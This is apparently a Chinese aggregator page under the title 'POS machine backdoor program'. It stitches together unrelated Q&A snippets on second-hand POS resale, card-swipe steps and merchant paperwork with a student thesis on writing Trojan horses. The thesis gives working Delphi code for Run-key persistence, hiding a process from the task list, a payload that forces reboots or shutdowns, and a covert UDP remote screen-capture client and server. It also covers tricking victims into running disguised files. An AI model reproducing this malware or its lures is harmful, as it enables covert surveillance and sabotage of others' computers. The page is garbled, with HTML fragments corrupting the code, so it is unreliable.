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    pos機后門程序

    瀏覽:187 發布日期:2023-03-29 00:00:00 投稿人:佚名投稿

    1、一臺二手pos機能賣多少錢?

    一般5毛到20元。具體要看你pos機的型號什么的了。

    一、為什么要回收舊POS機?
    因為回收二手的可以用來給別人免費鋪機器賺分潤,也可以倒賣,很多商戶都想免費用pos機,不想花錢買新的。但是成本誰來買單呢,最后就是羊毛都是出在羊身上。
    回收的機子安全性是很低的,沒有底層秘鑰,隨意灌裝任何程序,隨意加載任何程序,哪怕是想在里面留個后門程序,在有心人的手里都不成問題。
    大部分代理一般都無法分辨有沒有被安裝側錄器,貪圖便宜的后果是害人害己,更有部分經營裸機的渠道商,通過回收主流裸機的二手機,回來翻新處理,參雜在新機器中買賣,所以你會發現市場上的裸機價格是如此的多變,沒有最低,只有更低。
    有的支付公司為了應對市場競爭,以非常低廉接近成本甚至低于成本的價格出售給代理商定制機,但被代理商轉手破解后,重當新機以低于市場價的價格販賣到市場上。混亂的市場讓渾水摸魚者如魚得水。所以我們在選擇POS機的時候一定要注意,不要被低價格低蒙蔽,畢竟會關系到自己的資金安全。

    二、回收的POS機里面信息會不會被泄露?
    我們可以先了解一下首先POS機的中文意思是銷售點,是一種多功能終端,把它安裝在信用卡的特約商戶和受理網點中與計算機練成網絡,就能實現電子資金自動轉賬。當丟失后或者不用后,最安全的方法就是聯系支付公司,或者代理商,進行銷戶,這樣就可以了,雖然個人信息在支付公司還有所保存,但是不用擔心,他們一般是不管隨便動用的。
    POS機本身里面是不保存什么信息的,信息是保存在支付公司的數據庫里的,別人拿到你的機器也無法獲取你的信息,也刷不掉錢,所以大家也不用過于擔心。
    無利不起早,面對競爭越來越激烈的市場,很多POS機代理商,就在想辦法來降低成本,于是就產生了買賣二手pos機的業務。
    正所謂沒有買賣就沒有傷害,沒有萬能的金錢,就沒有萬惡之源,二手的pos機可謂安全度極低,沒有底層秘鑰,隨意灌裝任何程序,隨意加載任何程序,哪怕是想在里面留個后門程序,在有心人的手里都不成問題。 POS機這要用過了就綁定了,別人拿去刷卡錢也是到你的銀行卡上的,沒有人買二手的,不安全 現在pos很多,并且免fei送的
    一清不跳嗎,須要找頭潒即可 你有嗎我要了

    2、電腦網絡中的“后門”是什么意思?

    電腦網絡中的“后門”即是網絡的漏洞

    一、問題的提出
    "The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."這是著名匿名服務器站點Anonymizer上曾有過的一段話。是的,在不知不覺中,E時代已經到來,網絡給我們的生活增添了絢麗與多彩。但是,在這五彩繽紛的世界下面,潛伏著一股黑潮暗流--黑客(HACKER)。這個名詞越來越引起世人的關注,而且影響越來越大,關于黑客事件的報道也越來越多。黑客是伴隨網絡產生成長的,是指那些對電腦和網絡有狂熱興趣的人,他們不斷的研究電腦和網絡知識,發現電腦和網絡中的漏洞,喜歡挑戰高難度的網絡系統,千方百計的尋找網絡中的大小漏洞,然后向網絡管理員提出解決漏洞的建議。真正的黑客大多是賦有正義感的。他們不會惡意侵入他人系統,并且破壞系統程序和數據。但有一些人特別崇拜黑客,喜歡利用電腦網絡四處搗亂,到處尋找黑客軟件,然后到處搞破壞,這類人應該是網絡上最危險的家伙。現在的媒體把這類人是黑客混為一談,"黑客"一詞也因此成了貶義詞。
    現在的黑客軟件十分多,Back Orific、冰河、YAI到處都有。接觸網絡后,我經常想:黑客軟件到底是如何編制的?我能編一個黑客軟件多好呀!這到不是想干壞事,因為在網絡機房上課時,用一些黑客軟件可以作為控制工具來控制學員的機器(如:冰河)。可見黑客軟件本身不象病毒是個不好的東西,是可以用在正路上的。經過我的摸索,初步掌握了一些設計方法,主要是特洛伊木馬程序。本次畢業設計,我設計一個模擬黑客入侵程序,一個惡作劇程序,一個可以截獲網絡上別人在機器上干些什么的程序,幾個程序純屬用于實驗,沒有什么其它目的。在這里向各位老師匯報一下。程序設計的語言用的是PASCAL,用DELPHI 4進行編譯。

    二、"特洛伊木馬"如何入侵系統
    一個完整的"特洛伊木馬"一般分為兩個部分:一個是客戶服務程序(Client),用它來控制已經打開"后門"的機器;另一個是"后門"程序,用它來開放某臺機器。假設我們想控制某臺電腦,那么我們通過一些手段來把"后門"程序傳到該電腦中并使其運行,這樣該電腦就變成了一臺特殊的FTP服務器。然后我們使用Client程序就可以控制該電腦了。當然,后門程序如果不運行也就無法發揮作用。因此,就要"誘騙"別人使用后門程序。如果是朋友或熟人,利用他們的信任讓他運行就行了;要是陌生人,可以在聊天室中和他們套近乎,一旦取得信任,把程序發給他們,誘騙其運行。當然,程序要隱蔽一些,例如可以把后門程序改名,變為README之類,或改變后綴,變成GIF、BMP等,當他們雙擊這些文件后就上了"賊船"了。也可以用WINZIP的把后門程序和一些東西制作成一個自解壓包,然后利用設定解壓后自動運行SETUP程序功能來運行指定的后門程序。總之,要利用一切手段使人家運行后門程序。
    木馬程序運行后,會通過不同的方式修改系統,以便以后啟動系統后自動運行木馬。修改方法一般是通過修改注冊表:
    Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和
    Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的項目是在系統開機時自動加載的,我們可以在這兩添加鍵值,達到自動啟動的目的。以下的這段代碼可以修改注冊表,并調用API函數判斷系統目錄,復制文件到其下,以實行入侵系統的目的:

    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    StdCtrls,registry;
    type
    TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.DFM}

    procedure TForm1.Button1Click(Sender: TObject);
    var
    regf:tregistry;
    sysdir:pchar;
    temp:string;
    begin
    getmem(sysdir,256);
    getsystemdirectory(sysdir,128);
    temp:=sysdir+'\client.exe';
    freemem(sysdir,256);
    regf:=tregistry.create;
    regf.rootkey:=hkey_local_machine;
    regf.openkey('software\microsoft\windows\currentversion\run',true);
    regf.writestring(' ',temp);
    regf.free;
    copyfile(pchar('hacker.exe'),pchar(temp),true);
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    begin
    close;
    end;
    end.

    也有些高明的程序可以感染系統文件,附著在這些程序文件中,以達到其目的。我還沒有搞清楚這是怎樣辦到的。
    在Windows中按下Ctrl+Alt+Del可以顯示當前運行的程序,這樣一來,我們的木馬程序不是要露餡了嗎?以下這段匯編代碼可以很方便的嵌入DELPHI或C++中,讓別人看不到你的程序,可以很好的隱藏:
    asm
    mov ebx,30h
    push es
    push fs
    pop es
    mov ebx,es:[ebx]
    pop es
    mov eax,10800000h
    xchg [ebx+20h],eax
    end;
    為什么這段匯編代碼可以隱藏程序呢?據資料分析:在WINDOWS 9X加載應用程序時,FS指向的段就是類似于DOS應用程序的PSP,里面保存著一些有關應用程序重要數據,按下Ctrl+Alt+Del后,對于一個應用程序,若沒有可顯示的ENABLE窗口的名字,則系統要檢查上面程序段中的特定雙字是不是10800000h,如果是就不顯示這個應用程序的可執行文件的名字。
    下面是一個惡作劇的程序,入侵計算機后,每次開機后,隨機出現鼠標亂跑并發出怪叫、熱啟動、強行關機的現象,讓你無法進入WINDOWS 9X。對于一般的計算機用戶來說,因為找不出這個程序在何處,所以只能格式化系統區,重新安裝系統。

    program hacker;
    uses
    windows;
    var temp:integer;
    begin
    asm
    mov ebx,30h
    push es
    push fs
    pop es
    mov ebx,es:[ebx]
    pop es
    mov eax,10800000h
    xchg [ebx+20h],eax
    end;
    randomize;
    temp:=random(3);
    if temp=0 then
    while(true) do
    begin
    messagebeep(0);
    SetCursorPos (random(640),random(480));
    end
    else if temp=1 then
    ExitWindowsEx(EWX_REBOOT,0)
    else ExitWindowsEx(EWX_SHUTDOWN,0);
    end.

    有的木馬為了防止發現后被清除,在啟動時會產生一個備份,一般是感染WINDOWS的系統文件,當木馬被發現并清除后,備份會自動激活,使你依然處于遠程黑手的控制。比如當前國最盛行的"冰河",首先會修改注冊表的啟動項目,將自己復制兩份到系統中,分別為KERNEL32.EXE和SYSEXPLE.EXE,并且修改TXT文件的打開方式,一旦KERNEL32.EXE被刪除,那么當打開一個TXT文件時,SYSEXPLE.EXE將再產生一個KERNEL32.EXE文件。
    另外,有的木馬還能在運行后修改文件名,或者復制感染系統后,進行自我銷毀,使用戶很難進行查找。

    三、木馬的種類
    1、破壞型
    惟一的功能就是破壞并且刪除文件,可以自動的刪除電腦上的DLL、INI、EXE文件。
    2、密碼發送型
    可以找到隱藏密碼并把它們發送到指定的信箱。有人喜歡把自己的各種密碼以文件的形式存放在計算機中,認為這樣方便;還有人喜歡用WINDOWS提供的密碼記憶功能,這樣就可以不必每次都輸入密碼了。許多黑客軟件可以尋找到這些文件,把它們送到黑客手中。也有些黑客軟件長期潛伏,記錄操作者的鍵盤操作,從中尋找有用的密碼。
    在這里提醒一下,不要認為自己在文檔中加了密碼而把重要的保密文件存在公用計算機中,那你就大錯特錯了。別有用心的人完全可以用窮舉法暴力破譯你的密碼。利用WINDOWS API函數EnumWindows和EnumChildWindows對當前運行的所有程序的所有窗口(包括控件)進行遍歷,通過窗口標題查找密碼輸入和出確認重新輸入窗口,通過按鈕標題查找我們應該單擊的按鈕,通過ES_PASSWORD查找我們需要鍵入的密碼窗口。向密碼輸入窗口發送WM_SETTEXT消息模擬輸入密碼,向按鈕窗口發送WM_COMMAND消息模擬單擊。在破解過程中,把密碼保存在一個文件中,以便在下一個序列的密碼再次進行窮舉或多部機器同時進行分工窮舉,直到找到密碼為止。此類程序在黑客網站上唾手可得,精通程序設計的人,完全可以自編一個。
    3、遠程訪問型
    最廣泛的是特洛伊馬,只需有人運行了服務端程序,如果客戶知道了服務端的IP地址,就可以實現遠程控制。以下的程序可以實現觀察"受害者"正在干什么,當然這個程序完全可以用在正道上的,比如監視學生機的操作。
    程序中用的UDP(User Datagram Protocol,用戶報文協議)是因特網上廣泛采用的通信協議之一。與TCP協議不同,它是一種非連接的傳輸協議,沒有確認機制,可靠性不如TCP,但它的效率卻比TCP高,用于遠程屏幕監視還是比較適合的。它不區分服務器端和客戶端,只區分發送端和接收端,編程上較為簡單,故選用了UDP協議。本程序中用了DELPHI提供的TNMUDP控件。

    受控機程序部分:
    讓控件CUDP監視受控機的1111端口,當有數據發送到該口時,觸發控件CUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為2222,當控件CUDP發送數據時,將數據發送到主控機的2222口。

    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    NMUDP, ComCtrls;

    type
    Tclient = class(TForm)
    cudp: TNMUDP;
    Animate1: TAnimate;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
    FromIP: String);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    client: Tclient;

    implementation
    const bufsize=2048;//發送每一批數據的緩沖區大小
    var
    bmpstream:tmemorystream;
    leftsize:longint;
    {$R *.DFM}

    procedure screencap(leftpos,toppos,rightpos,bottompos:integer);
    var
    recwidth="360px",height="auto" />sourcedc,destdc,bhandle:integer;
    bitmap:Tbitmap;
    begin
    recwidth="360px",height="auto" />recheight:=bottompos-toppos;
    sourcedc:=createdc('display','','',nil);
    destdc:=createcompatibledc(sourcedc);
    bhandle:=createcompatiblebitmap(sourcedc,recwidth="360px",height="auto" />selectobject(destdc,bhandle);
    bitblt(destdc,0,0,recwidth="360px",height="auto" />bitmap:=tbitmap.Create;
    bitmap.Handle:=bhandle;
    bitmap.SaveToStream(bmpstream);
    bmpstream.Position:=0;
    leftsize:=bmpstream.Size;
    bitmap.Free;
    deletedc(destdc);
    releasedc(bhandle,sourcedc);
    end;

    procedure Tclient.FormCreate(Sender: TObject);
    begin
    bmpstream:=tmemorystream.create;
    end;

    procedure Tclient.FormDestroy(Sender: TObject);
    begin
    bmpstream.free;
    end;

    procedure Tclient.cudpDataReceived(Sender: TComponent;
    NumberBytes: Integer; FromIP: String);
    var
    ctrlcode:array[0..29] of char;
    buf:array[0..bufsize-1] of char;
    tmpstr:string;
    sendsize,leftpos,toppos,rightpos,bottompos:integer;
    begin
    cudp.ReadBuffer(ctrlcode,numberbytes);//讀取控制碼
    if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
    then
    begin//控制碼前4位為"SHOW"表示主控機發出了截屏指令
    if bmpstream.Size=0 then//沒有數據可發,必須截屏生成數據
    begin tmpstr:=strpas(ctrlcode);
    tmpstr:=copy(tmpstr,5,length(tmpstr)-4);
    leftpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
    tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
    toppos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
    tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
    rightpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
    bottompos:=strtoint(copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));
    screencap(leftpos,toppos,rightpos,bottompos);//調用截屏函數
    end;
    if leftsize>bufsize then sendsize:=bufsize
    else sendsize:=leftsize;
    bmpstream.ReadBuffer(buf,sendsize);
    leftsize:=leftsize-sendsize;
    if leftsize=0 then bmpstream.Clear;
    cudp.RemoteHost:=fromip;//FROMIP為主控機IP地址
    cudp.SendBuffer(buf,sendsize);//將數據發到主控機的2222端口
    end;
    end;
    end.

    主控機程序部分:
    讓控件SUDP監視主控機的2222端口,當有數據發送到該口時,觸發SUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為1111,當控件SUDP發送數據時,將數據發到受控機的1111口。

    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    ExtCtrls, StdCtrls, Buttons, NMUDP;

    type
    Tsever = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    BitBtn1: TBitBtn;
    Image1: TImage;
    BitBtn2: TBitBtn;
    sudp: TNMUDP;
    procedure BitBtn2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
    FromIP: String);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    sever: Tsever;

    implementation
    const bufsize=2048;
    var
    rsltstream,tmpstream:tmemorystream;
    {$R *.DFM}

    procedure Tsever.BitBtn2Click(Sender: TObject);
    begin
    close;
    end;

    procedure Tsever.FormCreate(Sender: TObject);
    begin
    rsltstream:=tmemorystream.create;
    tmpstream:=tmemorystream.create;
    end;

    procedure Tsever.FormDestroy(Sender: TObject);
    begin
    rsltstream.free;
    tmpstream.free;
    end;

    procedure Tsever.BitBtn1Click(Sender: TObject);
    var
    reqcode:array[0..29] of char;
    reqcodestr:string;
    begin
    reqcodestr:='show'+edit1.text;
    strpcopy(reqcode,reqcodestr);
    tmpstream.Clear;
    rsltstream.Clear;
    sudp.RemoteHost:=edit2.Text;
    sudp.SendBuffer(reqcode,30);
    end;

    procedure Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
    FromIP: String);
    var reqcode:array[0..29] of char;
    reqcodestr:string;
    begin
    reqcodestr:='show'+edit1.text;
    strpcopy(reqcode,reqcodestr);
    sudp.ReadStream(tmpstream);
    rsltstream.CopyFrom(tmpstream,numberbytes);
    if numberbytes<bufsize then
    begin
    rsltstream.Position:=0;
    image1.Picture.Bitmap.LoadFromStream(rsltstream);
    tmpstream.Clear;
    rsltstream.Clear;
    end
    else
    begin
    tmpstream.Clear;
    reqcode:='show';
    sudp.RemoteHost:=edit2.Text;
    sudp.SendBuffer(reqcode,30);
    end;
    end;
    end.

    四、如何預防黑客
    黑客程序雖然破壞大,但不是不能防止的。
    1、處理好你的密碼
    我們一般是用賬號和密碼來上網的,密碼的設置無疑是十分講求技巧的,許多人的安全防范意識差,不注意密碼的設置,造成自己的賬號被盜用。如今的黑客軟件都是掛上密碼字典,然后用窮舉法進行破解,密碼太簡單,那么破解的可能性就大了。以下是一些注意事項。
    ⑴ 密碼不可和賬號相同,這是最容易被猜到的了。
    ⑵ 經常更改密碼,拿到新賬號后要立即更改密碼,不要放久了。
    ⑶ 密碼最好多于8個字符,字符越長,破解難度越大。例如WORD文檔的密碼大于8位后,目前的破解軟件幾乎無法攻破。另外,最好在密碼中加入一些控制鍵,增加破譯難度。千萬不可用單一的字母或數字。
    ⑷ 有人喜歡用自己的生日、電話、身份證號碼等作為密碼,你不要這樣做。
    ⑸ 密碼盡量不要記顯眼的紙張上,更不能保存在計算機中,不要貪圖一時方便,用WINDOWS提供的保存密碼功能。
    2、不要運行不明真相的程序
    無論都高明的黑客程序,只要你不去運行它,就無法害到你。所以,不可相信網友的話,不要去運行他提供的程序;不要隨意去打開別人寄來的附件,無論他把附件中的圖片或影片吹得如何好看;要到大的、著名的網站去下載軟件,千萬不要到不明真象的個人網頁下載,因為在那兒你可能下載的病毒和黑客之手;如果你十分羨慕黑客,也請你不要下載所謂的黑客軟件,否則你沒害到別人,自己反被害了;如果你的機器上有防火墻,在上網時一定要打開,不要怕麻煩。
    3、經常檢查系統信息
    上網過程中,突然覺得計算機工作不對勁時,仿佛感覺有人在遙遠的地方遙控你。這時,你必須及時停止手中工作,運行"附件→系統工具→系統信息",在任務列表中尋找自己不熟悉的或者自己并沒有運行的程序,一旦找到程序后應立即終止它的運行,以防后患。
    4、最好不去聊天室
    我一直認為聊天室沒有什么意思,特別對于計算機專業人員,聊天只是浪費時間和金錢,有些惡意的破壞者利用網上聊天室的漏洞干壞事,例如聊天室支持JAVA、HTML等功能,然而,這小小的JAVA也隱藏"殺機",他可以發給你一個足以讓你的機器當機的HTML語句。因為這些語句是不會在聊天室顯示出來的,所以你被暗算了可能還不知道。防治的辦法是在你的瀏覽器中關閉你的JAVA腳本。想聊天的,在公共機房聊聊算了,不能在自己的機器上聊天。 就是讓攻擊者可以在以后的日子里可以隨時進行連接的東西,不一定是程序,可能會在你的系統里面留一個后門賬戶,可以隨時進行遠程桌面連接的后門賬戶。 后門就是黑客入侵電腦以后,為了方便下次入侵,在電腦上做的一個手腳。 電腦網絡中的“后門”即是網絡的漏洞,可能被黑客利用的漏洞。 這些是指木馬病毒這些,使用殺毒軟件來檢測就行了。

    3、請問POS機是怎么進行刷卡流程的,那種POS機簡單方便啊?

    POS機的程序都差不多,一般都是銀聯提供的。當然也有間連POS,程序可能有區別。但應該都差不多。刷卡的流程就是選擇消費或預授權的菜單——提示刷卡(刷客戶卡)——提示輸入金額(輸入客戶消費金額)——提示輸入密碼(客戶輸入密碼)——如果客戶輸入密碼正確的話會自動打印第一聯簽購單,由客戶簽名后商戶保管,按任意鍵打印第二聯簽購單,交由客戶保管——完畢。POS程序都差不多,只有可能是POS設備外觀的差別,因此也無所謂簡單方便。這些都是正規渠道的POS,其他的不太了解。

    4、pos機刷卡時出現程序異常是怎么回事?

    可能兩個原因:一是流量卡沒有錢或者沒有插好,該區域信號不好;二是通道后臺有問題。建議聯系三方機構。
    POS(Pointofsales)的中文意思是“銷售點”,全稱為銷售點情報管理系統,是一種配有條碼或OCR碼技術終端閱讀器,有現金或易貨額度出納功能。其主要任務是對商品與媒體交易提供數據服務和管理功能,并進行非現金結算。
    POS是一種多功能終端,把它安裝在信用卡的特約商戶和受理網點中與計算機聯成網絡,就能實現電子資金自動轉賬,它具有支持消費、預授權、余額查詢和轉帳等功能,使用起來安全、快捷、可靠。大宗交易中基本經營情報難以獲取,導入POS系統主要是解決零售業信息管理盲點。連鎖分店管理信息系統中的重要組成部分。
    拓展資料:
    POS系統基本原理是先將商品資料創建于計算機文件內,透過計算機收銀機聯機架構,商品上之條碼能透過收銀設備上光學讀取設備直接讀入后(或由鍵盤直接輸入代號)馬上可以顯示商品信息(單價,部門,折扣。)加速收銀速度與正確性。每筆商品銷售明細資料(售價,部門,時段,客層)自動記錄下來,再由聯機架構傳回計算機。經由計算機計算處理即能生成各種銷售統計分析信息當為經營管理依據。
    POS機是通過讀卡器讀取銀行卡上的持卡人磁條信息,由POS操作人員輸入交易金額,持卡人輸入個人識別信息(即密碼),POS把這些信息通過銀聯中心,上送發卡銀行系統,完成聯機交易,給出成功與否的信息,并打印相應的票據。POS的應用實現了信用卡、借記卡等銀行卡的聯機消費,保證了交易的安全、快捷和準確,避免了手工查詢黑名單和壓單等繁雜勞動,提高了工作效率。
    磁條卡模塊的設計要求滿足三磁道磁卡的需要,即此模塊要能閱讀1/2、2/3、1/2/3磁道的磁卡。

    5、誰知道個人安裝POS機需要哪些程序?

    第三方支付公司
    快錢
    富友
    銀聯
    杉德
    這幾個公司都是可以裝POS機的
    一共有四十家。

    個體必須提供執照和稅務
    法人身份證
    銀行卡
    電話號碼
    房屋合同
    店鋪照片
    如果你是公司
    就必須提供公司
    1、稅務登記證副本(復印件)
    2、營業執照副本(復印件)
    3、組織機構代碼證副本(復印件)
    4、開戶銀行許可證(復印件)
    5、法人身份證復印件,以及公章和人名章
    以上五證需加蓋公章和法人章
    就可以辦理
    有不懂可以到我公司網站上瀏覽
    http://www.unpos.net
    希望這個對你有用哈 安裝就插上電源和接上電話線就行,申請就要營業執照和稅務登記證,組織機構代碼證。還有公章和門口照片

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